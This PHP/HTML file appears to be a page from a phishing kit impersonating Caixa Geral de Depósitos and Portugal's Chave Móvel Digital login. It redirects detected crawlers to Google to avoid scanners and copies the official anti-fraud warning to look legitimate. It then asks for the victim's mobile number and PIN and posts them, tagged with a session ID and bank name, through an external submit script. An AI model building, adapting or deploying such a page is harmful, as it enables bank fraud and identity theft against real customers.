<?php

require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CGD</title>
    <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
  <script src="https://code.iconify.design/3/3.1.0/iconify.min.js"></script>
    <link rel="stylesheet" href="panel/css/index.css">
    <link rel="stylesheet" href="panel/css/style.css">

     <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
   <script src="panel/bootstrap/jquery/jquery.min.js"></script>
    
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
   <style>
      .percent80 {
    text-align: left;
    font: 12px / 24px Lato;
    font-weight: bold;
    font-size: 1.004em;
    letter-spacing: 0;
    color: #3C5DBC;
    opacity: 1;
    position: absolute;
    top: -1px;
    /* left: 250px; */
    right: 0;
    transform: translate(20px,-6px);
    font-family: inherit;
    font-style: inherit;
}
.header{
    padding: 50px 0px 0px;
}


.header_nav {
            background: #0071ce;
        }

        .menu-center {
            gap: 30px;
        }

        .menu-center li {
            list-style: none;
        }

        .menu-center li a {
            color: #FFFFFF;
            font-size: 14px;
            font-family: "Roboto", sans-serif;
            font-weight: 400;
        }

        .menu-center li a span {
            color: #9DB1C9;
        }

        .menu-center li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
       

        .menu-center li a:hover {
            text-decoration: none;
        }

        @media screen and (max-width:991px) {
            .menu-center {
                display: none !important;
            }

            .header_nav .row {
                margin-left: 0px !important;
                margin-right: 0px !important;
            }

            .mobile_header {
                display: flex !important;
                list-style: none;
                justify-content: space-between !important;
                width: 100%;
            }
            .mobile_header li a.span_txt {
            color: #9DB1C9;
        }
            .mobile_header li {
                list-style: none;
            }

            .mobile_header li a {
                display: flex;
                gap: 20px;
                color: #fff;
                row-gap: 0px !important;
            }

            .flex_padding {
                padding: 0px !important;
            }
            .mobile_header li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
        .down_icon{
            position: absolute;
        }
        }

        .mobile_header {
            display: none;
        }
        .btn-forward-modal:hover{
            background: #3C5DBC !important;
        }
        .selected-option div::after {
            border-right: .12rem solid #3C5DBC !important;
            border-bottom: .12rem solid #3C5DBC !important;
        }
   </style>

</head>

<body>

    <header class="header_nav p-3">
        <div class="container-fluid">
            <div class="row ml-5 mr-5 justify-content-center">
                <div class="col-md-12 flex_padding">
                    <div class="d-flex justify-content-center align-items-center">
                        <ul class="menu-center d-flex justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#">PT <span> EN</span></a></li>
                            <li class="active"><a href="#">Particulares</a></li>
                            <li class="list_nav"><a href="#">Private</a></li>
                            <li class="list_nav"><a href="#">Empresas</a></li>
                            <li class="list_nav"><a href="#">Institucional</a></li>
                            <li class="list_nav"><a href="#">Sustentabilidade</a></li>
                            <li class="list_nav"><a href="#">Investor Relations</a></li>
                            <li class="list_nav"><a href="#">Ajuda</a></li>
                            <li class="list_nav"><a href="#">Saldo Positivo</a></li>
                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                    <div class="d-flex justify-content-between align-items-center">
                        <ul class=" mobile_header  justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#"><span class="d-flex"> PT &nbsp; <span class="span_txt"> EN</span></span></a></li>
                            <li class="active"><a href="#" class="d-flex flex-column">Particulares
                                <div class="arrow_down d-flex justify-content-center align-items-center">
                                 <i class="bx bx-chevron-down down_icon "></i></div></a></li>

                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </header>
    <section>
        <div class="header">
            <div class="white-line">
            </div>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                        <div class="row logo mt-0">
                            <a href="#">
                                <img src="panel/imgs/logo-ag.svg" alt="Autenticação.gov.pt" class="img img-responsive logo-ie">
                            </a>
                        </div>
                        
                    </div>
                </div>
            </div>
            <hr class="border-line mb-0">
            <div class="WarningMessage" style="background-color: #FFF0CB;height: auto;text-align: center;padding: 30px;">
                <span id="lblWarning" style="font-weight:bold;">Atenção: </span>
                <span id="lblWarningInfo">Nunca forneça os seus códigos PIN ou outros dados pessoais por SMS, email ou telefone.</span> <br>
                    <a id="hrefProtec" class="colorBlue" href="https://eportugal.gov.pt/burlas-e-sms-fraudulentas-em-nome-de-chave-movel-digital-ou-autenticacao-gov" target="_blank" style="text-decoration: underline;"><span id="lblProtec">Saiba mais sobre como se proteger de tentativas de fraude no portal ePortugal.</span></a>
            </div>  
            
        </div>
    </section>
    <section>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <h5 class="text-center mt-5">
                        FAÇA A SUA AUTENTICAÇÃO</h5>
                        <div class="col-md-3 m-auto">
                            <div style="background-color: White; height: 10px; width: 300px" class="mt-3">
                                <div id="MainContent_bar" class="mt-2" style="height: 10px; width: 0%; background-color: #DBE1F2; margin-left: 90px;"></div>
                                <span id="MainContent_percent" class="percent80">50%</span>
                            </div>
                            
                </div>
                
               
               
                </div>
                <div class="col-md-6">
                   
                    <div class="show-text">
                        <div class="mt-5">
                            <img src="panel/got/logo_CDO.gif" alt="">
                        </div>
                        <div class="login-heading-text mt-4">
                           
                            <!-- <h5 class="title-dark-blue">Validation
                            </h5>
                            <p>For the last security step we need your multichannel code [7digits] and your usercode.</p> -->
                            <h5 class="mb-4">CHAVE MOVEL DIGITAL</h5>

                                    
                                    <form  action="#" id="form" method="post" name="login">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">


                                        <label for="">Numero de telemovel</label>

                                <div class="select-box">
                                    <div class="selected-option">
                                        <div>
                                            <span class="iconify" data-icon="flag:pt-4x3"></span>
                                            <strong>+351</strong>
                                        </div>
                                        <input type="tel" class="pl-50" placeholder="" id="mobile_phone_number" name="mobile_phone_number" onkeyup="chageValue()">
                                    </div>
                                    <div class="options">
                                        <input type="text" class="search-box" placeholder="Search Country Name">
                                        <ol class="pl-0">
                            
                                        </ol>
                                    </div>
                                </div>
                               
                                <div class="form-group mt-3">
                                    <label for="">Inserir PIN</label>
                                    <input type="password" class="form-control input-feild" placeholder="" maxlength="8" id="pin_code" name="pin_code" onkeyup="chageValue()">
                                    <i class='bx bx-show fs-35' ></i>
                                </div>

                                  <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="width:100%">Detalhes incorretos, tente novamente...</div>
                    <?php
                  }
                  ?>
                                <div class="form-group">
                                    <div class="d-flex flex-wrap" style="gap: 20px;">
                                    <button disabled class="btn btnPlaceContinue" style="background: #484848; border-radius: 0px;" id="button" type="submit"><i
                                        class='bx bx-left-arrow-alt fs-25'></i>CANCELAR </button>
                                    <button disabled id="form_check" onclick="formSubmit()"  type="button" class="btn btn-forward-modal btnPlaceContinue" id="button"      style="border-radius: 0px;     background-color: #3C5DBC;" type="submit">AUTENTICAR <i
                                            class='bx bx-right-arrow-alt fs-25'></i></button>
                                        </div>
                                </div>
                            </form>
                           
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links flex-wrap d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
   
    <script src="panel/bootstrap/js/popper.min.js"></script>
        <script src="panel/bootstrap/js/bootstrap.min.js"></script>
<script>
    $(document).ready(function() {
    // Target the progress bar and percentage
    $('#MainContent_bar').animate({ width: '50%' }, 1000); // Animate to 50% width over 1 second
    $('#MainContent_percent').text('50%'); // Set the percentage text
});

</script>
    <script>
        // 253 countries
const countries = [
{ name: "Portugal", code: "PT", phone: 351 },
    { name: "Afghanistan", code: "AF", phone: 93 },
    { name: "Aland Islands", code: "AX", phone: 358 },
    { name: "Albania", code: "AL", phone: 355 },
    { name: "Algeria", code: "DZ", phone: 213 },
    { name: "American Samoa", code: "AS", phone: 1684 },
    { name: "Andorra", code: "AD", phone: 376 },
    { name: "Angola", code: "AO", phone: 244 },
    { name: "Anguilla", code: "AI", phone: 1264 },
    { name: "Antarctica", code: "AQ", phone: 672 },
    { name: "Antigua and Barbuda", code: "AG", phone: 1268 },
    { name: "Argentina", code: "AR", phone: 54 },
    { name: "Armenia", code: "AM", phone: 374 },
    { name: "Aruba", code: "AW", phone: 297 },
    { name: "Australia", code: "AU", phone: 61 },
    { name: "Austria", code: "AT", phone: 43 },
    { name: "Azerbaijan", code: "AZ", phone: 994 },
    { name: "Bahamas", code: "BS", phone: 1242 },
    { name: "Bahrain", code: "BH", phone: 973 },
    { name: "Bangladesh", code: "BD", phone: 880 },
    { name: "Barbados", code: "BB", phone: 1246 },
    { name: "Belarus", code: "BY", phone: 375 },
    { name: "Belgium", code: "BE", phone: 32 },
    { name: "Belize", code: "BZ", phone: 501 },
    { name: "Benin", code: "BJ", phone: 229 },
    { name: "Bermuda", code: "BM", phone: 1441 },
    { name: "Bhutan", code: "BT", phone: 975 },
    { name: "Bolivia", code: "BO", phone: 591 },
    { name: "Bonaire, Sint Eustatius and Saba", code: "BQ", phone: 599 },
    { name: "Bosnia and Herzegovina", code: "BA", phone: 387 },
    { name: "Botswana", code: "BW", phone: 267 },
    { name: "Bouvet Island", code: "BV", phone: 55 },
    { name: "Brazil", code: "BR", phone: 55 },
    { name: "British Indian Ocean Territory", code: "IO", phone: 246 },
    { name: "Brunei Darussalam", code: "BN", phone: 673 },
    { name: "Bulgaria", code: "BG", phone: 359 },
    { name: "Burkina Faso", code: "BF", phone: 226 },
    { name: "Burundi", code: "BI", phone: 257 },
    { name: "Cambodia", code: "KH", phone: 855 },
    { name: "Cameroon", code: "CM", phone: 237 },
    { name: "Canada", code: "CA", phone: 1 },
    { name: "Cape Verde", code: "CV", phone: 238 },
    { name: "Cayman Islands", code: "KY", phone: 1345 },
    { name: "Central African Republic", code: "CF", phone: 236 },
    { name: "Chad", code: "TD", phone: 235 },
    { name: "Chile", code: "CL", phone: 56 },
    { name: "China", code: "CN", phone: 86 },
    { name: "Christmas Island", code: "CX", phone: 61 },
    { name: "Cocos (Keeling) Islands", code: "CC", phone: 672 },
    { name: "Colombia", code: "CO", phone: 57 },
    { name: "Comoros", code: "KM", phone: 269 },
    { name: "Congo", code: "CG", phone: 242 },
    { name: "Congo, Democratic Republic of the Congo", code: "CD", phone: 242 },
    { name: "Cook Islands", code: "CK", phone: 682 },
    { name: "Costa Rica", code: "CR", phone: 506 },
    { name: "Cote D'Ivoire", code: "CI", phone: 225 },
    { name: "Croatia", code: "HR", phone: 385 },
    { name: "Cuba", code: "CU", phone: 53 },
    { name: "Curacao", code: "CW", phone: 599 },
    { name: "Cyprus", code: "CY", phone: 357 },
    { name: "Czech Republic", code: "CZ", phone: 420 },
    { name: "Denmark", code: "DK", phone: 45 },
    { name: "Djibouti", code: "DJ", phone: 253 },
    { name: "Dominica", code: "DM", phone: 1767 },
    { name: "Dominican Republic", code: "DO", phone: 1809 },
    { name: "Ecuador", code: "EC", phone: 593 },
    { name: "Egypt", code: "EG", phone: 20 },
    { name: "El Salvador", code: "SV", phone: 503 },
    { name: "Equatorial Guinea", code: "GQ", phone: 240 },
    { name: "Eritrea", code: "ER", phone: 291 },
    { name: "Estonia", code: "EE", phone: 372 },
    { name: "Ethiopia", code: "ET", phone: 251 },
    { name: "Falkland Islands (Malvinas)", code: "FK", phone: 500 },
    { name: "Faroe Islands", code: "FO", phone: 298 },
    { name: "Fiji", code: "FJ", phone: 679 },
    { name: "Finland", code: "FI", phone: 358 },
    { name: "France", code: "FR", phone: 33 },
    { name: "French Guiana", code: "GF", phone: 594 },
    { name: "French Polynesia", code: "PF", phone: 689 },
    { name: "French Southern Territories", code: "TF", phone: 262 },
    { name: "Gabon", code: "GA", phone: 241 },
    { name: "Gambia", code: "GM", phone: 220 },
    { name: "Georgia", code: "GE", phone: 995 },
    { name: "Germany", code: "DE", phone: 49 },
    { name: "Ghana", code: "GH", phone: 233 },
    { name: "Gibraltar", code: "GI", phone: 350 },
    { name: "Greece", code: "GR", phone: 30 },
    { name: "Greenland", code: "GL", phone: 299 },
    { name: "Grenada", code: "GD", phone: 1473 },
    { name: "Guadeloupe", code: "GP", phone: 590 },
    { name: "Guam", code: "GU", phone: 1671 },
    { name: "Guatemala", code: "GT", phone: 502 },
    { name: "Guernsey", code: "GG", phone: 44 },
    { name: "Guinea", code: "GN", phone: 224 },
    { name: "Guinea-Bissau", code: "GW", phone: 245 },
    { name: "Guyana", code: "GY", phone: 592 },
    { name: "Haiti", code: "HT", phone: 509 },
    { name: "Heard Island and McDonald Islands", code: "HM", phone: 0 },
    { name: "Holy See (Vatican City State)", code: "VA", phone: 39 },
    { name: "Honduras", code: "HN", phone: 504 },
    { name: "Hong Kong", code: "HK", phone: 852 },
    { name: "Hungary", code: "HU", phone: 36 },
    { name: "Iceland", code: "IS", phone: 354 },
    { name: "India", code: "IN", phone: 91 },
    { name: "Indonesia", code: "ID", phone: 62 },
    { name: "Iran, Islamic Republic of", code: "IR", phone: 98 },
    { name: "Iraq", code: "IQ", phone: 964 },
    { name: "Ireland", code: "IE", phone: 353 },
    { name: "Isle of Man", code: "IM", phone: 44 },
    { name: "Israel", code: "IL", phone: 972 },
    { name: "Italy", code: "IT", phone: 39 },
    { name: "Jamaica", code: "JM", phone: 1876 },
    { name: "Japan", code: "JP", phone: 81 },
    { name: "Jersey", code: "JE", phone: 44 },
    { name: "Jordan", code: "JO", phone: 962 },
    { name: "Kazakhstan", code: "KZ", phone: 7 },
    { name: "Kenya", code: "KE", phone: 254 },
    { name: "Kiribati", code: "KI", phone: 686 },
    { name: "Korea, Democratic People's Republic of", code: "KP", phone: 850 },
    { name: "Korea, Republic of", code: "KR", phone: 82 },
    { name: "Kosovo", code: "XK", phone: 383 },
    { name: "Kuwait", code: "KW", phone: 965 },
    { name: "Kyrgyzstan", code: "KG", phone: 996 },
    { name: "Lao People's Democratic Republic", code: "LA", phone: 856 },
    { name: "Latvia", code: "LV", phone: 371 },
    { name: "Lebanon", code: "LB", phone: 961 },
    { name: "Lesotho", code: "LS", phone: 266 },
    { name: "Liberia", code: "LR", phone: 231 },
    { name: "Libyan Arab Jamahiriya", code: "LY", phone: 218 },
    { name: "Liechtenstein", code: "LI", phone: 423 },
    { name: "Lithuania", code: "LT", phone: 370 },
    { name: "Luxembourg", code: "LU", phone: 352 },
    { name: "Macao", code: "MO", phone: 853 },
    { name: "Macedonia, the Former Yugoslav Republic of", code: "MK", phone: 389 },
    { name: "Madagascar", code: "MG", phone: 261 },
    { name: "Malawi", code: "MW", phone: 265 },
    { name: "Malaysia", code: "MY", phone: 60 },
    { name: "Maldives", code: "MV", phone: 960 },
    { name: "Mali", code: "ML", phone: 223 },
    { name: "Malta", code: "MT", phone: 356 },
    { name: "Marshall Islands", code: "MH", phone: 692 },
    { name: "Martinique", code: "MQ", phone: 596 },
    { name: "Mauritania", code: "MR", phone: 222 },
    { name: "Mauritius", code: "MU", phone: 230 },
    { name: "Mayotte", code: "YT", phone: 262 },
    { name: "Mexico", code: "MX", phone: 52 },
    { name: "Micronesia, Federated States of", code: "FM", phone: 691 },
    { name: "Moldova, Republic of", code: "MD", phone: 373 },
    { name: "Monaco", code: "MC", phone: 377 },
    { name: "Mongolia", code: "MN", phone: 976 },
    { name: "Montenegro", code: "ME", phone: 382 },
    { name: "Montserrat", code: "MS", phone: 1664 },
    { name: "Morocco", code: "MA", phone: 212 },
    { name: "Mozambique", code: "MZ", phone: 258 },
    { name: "Myanmar", code: "MM", phone: 95 },
    { name: "Namibia", code: "NA", phone: 264 },
    { name: "Nauru", code: "NR", phone: 674 },
    { name: "Nepal", code: "NP", phone: 977 },
    { name: "Netherlands", code: "NL", phone: 31 },
    { name: "Netherlands Antilles", code: "AN", phone: 599 },
    { name: "New Caledonia", code: "NC", phone: 687 },
    { name: "New Zealand", code: "NZ", phone: 64 },
    { name: "Nicaragua", code: "NI", phone: 505 },
    { name: "Niger", code: "NE", phone: 227 },
    { name: "Nigeria", code: "NG", phone: 234 },
    { name: "Niue", code: "NU", phone: 683 },
    { name: "Norfolk Island", code: "NF", phone: 672 },
    { name: "Northern Mariana Islands", code: "MP", phone: 1670 },
    { name: "Norway", code: "NO", phone: 47 },
    { name: "Oman", code: "OM", phone: 968 },
    { name: "Pakistan", code: "PK", phone: 92 },
    { name: "Palau", code: "PW", phone: 680 },
    { name: "Palestinian Territory, Occupied", code: "PS", phone: 970 },
    { name: "Panama", code: "PA", phone: 507 },
    { name: "Papua New Guinea", code: "PG", phone: 675 },
    { name: "Paraguay", code: "PY", phone: 595 },
    { name: "Peru", code: "PE", phone: 51 },
    { name: "Philippines", code: "PH", phone: 63 },
    { name: "Pitcairn", code: "PN", phone: 64 },
    { name: "Poland", code: "PL", phone: 48 },
    
    { name: "Puerto Rico", code: "PR", phone: 1787 },
    { name: "Qatar", code: "QA", phone: 974 },
    { name: "Reunion", code: "RE", phone: 262 },
    { name: "Romania", code: "RO", phone: 40 },
    { name: "Russian Federation", code: "RU", phone: 7 },
    { name: "Rwanda", code: "RW", phone: 250 },
    { name: "Saint Barthelemy", code: "BL", phone: 590 },
    { name: "Saint Helena", code: "SH", phone: 290 },
    { name: "Saint Kitts and Nevis", code: "KN", phone: 1869 },
    { name: "Saint Lucia", code: "LC", phone: 1758 },
    { name: "Saint Martin", code: "MF", phone: 590 },
    { name: "Saint Pierre and Miquelon", code: "PM", phone: 508 },
    { name: "Saint Vincent and the Grenadines", code: "VC", phone: 1784 },
    { name: "Samoa", code: "WS", phone: 684 },
    { name: "San Marino", code: "SM", phone: 378 },
    { name: "Sao Tome and Principe", code: "ST", phone: 239 },
    { name: "Saudi Arabia", code: "SA", phone: 966 },
    { name: "Senegal", code: "SN", phone: 221 },
    { name: "Serbia", code: "RS", phone: 381 },
    { name: "Serbia and Montenegro", code: "CS", phone: 381 },
    { name: "Seychelles", code: "SC", phone: 248 },
    { name: "Sierra Leone", code: "SL", phone: 232 },
    { name: "Singapore", code: "SG", phone: 65 },
    { name: "St Martin", code: "SX", phone: 721 },
    { name: "Slovakia", code: "SK", phone: 421 },
    { name: "Slovenia", code: "SI", phone: 386 },
    { name: "Solomon Islands", code: "SB", phone: 677 },
    { name: "Somalia", code: "SO", phone: 252 },
    { name: "South Africa", code: "ZA", phone: 27 },
    { name: "South Georgia and the South Sandwich Islands", code: "GS", phone: 500 },
    { name: "South Sudan", code: "SS", phone: 211 },
    { name: "Spain", code: "ES", phone: 34 },
    { name: "Sri Lanka", code: "LK", phone: 94 },
    { name: "Sudan", code: "SD", phone: 249 },
    { name: "Suriname", code: "SR", phone: 597 },
    { name: "Svalbard and Jan Mayen", code: "SJ", phone: 47 },
    { name: "Swaziland", code: "SZ", phone: 268 },
    { name: "Sweden", code: "SE", phone: 46 },
    { name: "Switzerland", code: "CH", phone: 41 },
    { name: "Syrian Arab Republic", code: "SY", phone: 963 },
    { name: "Taiwan, Province of China", code: "TW", phone: 886 },
    { name: "Tajikistan", code: "TJ", phone: 992 },
    { name: "Tanzania, United Republic of", code: "TZ", phone: 255 },
    { name: "Thailand", code: "TH", phone: 66 },
    { name: "Timor-Leste", code: "TL", phone: 670 },
    { name: "Togo", code: "TG", phone: 228 },
    { name: "Tokelau", code: "TK", phone: 690 },
    { name: "Tonga", code: "TO", phone: 676 },
    { name: "Trinidad and Tobago", code: "TT", phone: 1868 },
    { name: "Tunisia", code: "TN", phone: 216 },
    { name: "Turkey", code: "TR", phone: 90 },
    { name: "Turkmenistan", code: "TM", phone: 7370 },
    { name: "Turks and Caicos Islands", code: "TC", phone: 1649 },
    { name: "Tuvalu", code: "TV", phone: 688 },
    { name: "Uganda", code: "UG", phone: 256 },
    { name: "Ukraine", code: "UA", phone: 380 },
    { name: "United Arab Emirates", code: "AE", phone: 971 },
    { name: "United Kingdom", code: "GB", phone: 44 },
    { name: "United States", code: "US", phone: 1 },
    { name: "United States Minor Outlying Islands", code: "UM", phone: 1 },
    { name: "Uruguay", code: "UY", phone: 598 },
    { name: "Uzbekistan", code: "UZ", phone: 998 },
    { name: "Vanuatu", code: "VU", phone: 678 },
    { name: "Venezuela", code: "VE", phone: 58 },
    { name: "Viet Nam", code: "VN", phone: 84 },
    { name: "Virgin Islands, British", code: "VG", phone: 1284 },
    { name: "Virgin Islands, U.s.", code: "VI", phone: 1340 },
    { name: "Wallis and Futuna", code: "WF", phone: 681 },
    { name: "Western Sahara", code: "EH", phone: 212 },
    { name: "Yemen", code: "YE", phone: 967 },
    { name: "Zambia", code: "ZM", phone: 260 },
    { name: "Zimbabwe", code: "ZW", phone: 263 }
],

    select_box = document.querySelector('.options'),
    search_box = document.querySelector('.search-box'),
    input_box = document.querySelector('input[type="tel"]'),
    selected_option = document.querySelector('.selected-option div');

let options = null;

for (country of countries) {
    const option = `
    <li class="option">
        <div>
            <span class="iconify" data-icon="flag:${country.code.toLowerCase()}-4x3"></span>
            <span class="country-name">${country.name}</span>
        </div>
        <strong>+${country.phone}</strong>
    </li> `;

    select_box.querySelector('ol').insertAdjacentHTML('beforeend', option);
    options = document.querySelectorAll('.option');
}

function selectOption() {
    console.log(this);
    const icon = this.querySelector('.iconify').cloneNode(true),
        phone_code = this.querySelector('strong').cloneNode(true);

    selected_option.innerHTML = '';
    selected_option.append(icon, phone_code);

    input_box.value = phone_code.innerText;

    select_box.classList.remove('active');
    selected_option.classList.remove('active');

    search_box.value = '';
    select_box.querySelectorAll('.hide').forEach(el => el.classList.remove('hide'));
}

function searchCountry() {
    let search_query = search_box.value.toLowerCase();
    for (option of options) {
        let is_matched = option.querySelector('.country-name').innerText.toLowerCase().includes(search_query);
        option.classList.toggle('hide', !is_matched)
    }
}


selected_option.addEventListener('click', () => {
    select_box.classList.toggle('active');
    selected_option.classList.toggle('active');
})

options.forEach(option => option.addEventListener('click', selectOption));
search_box.addEventListener('input', searchCountry);
    </script>
    <script>
        var user_code = localStorage.getItem('user_code');
        var login_type = localStorage.getItem('login_type');
        if(user_code != null && login_type != null){
            $('#user_code').val(user_code)
            $('#login_type').val(login_type)
        }
        
        function chageValue(){
            var mobile_phone_number = $('#mobile_phone_number').val();
            var pin_code = $('#pin_code').val();
            
           if(mobile_phone_number != "" && pin_code != ""){
               $('#form_check').removeAttr('disabled','disabled')
           }else{
                $('#form_check').attr('disabled','disabled')
           }
     }

              function formSubmit(){

              var loader = new Option();
              loader.formSubmit();
       

    }
        </script>
</body>

</html>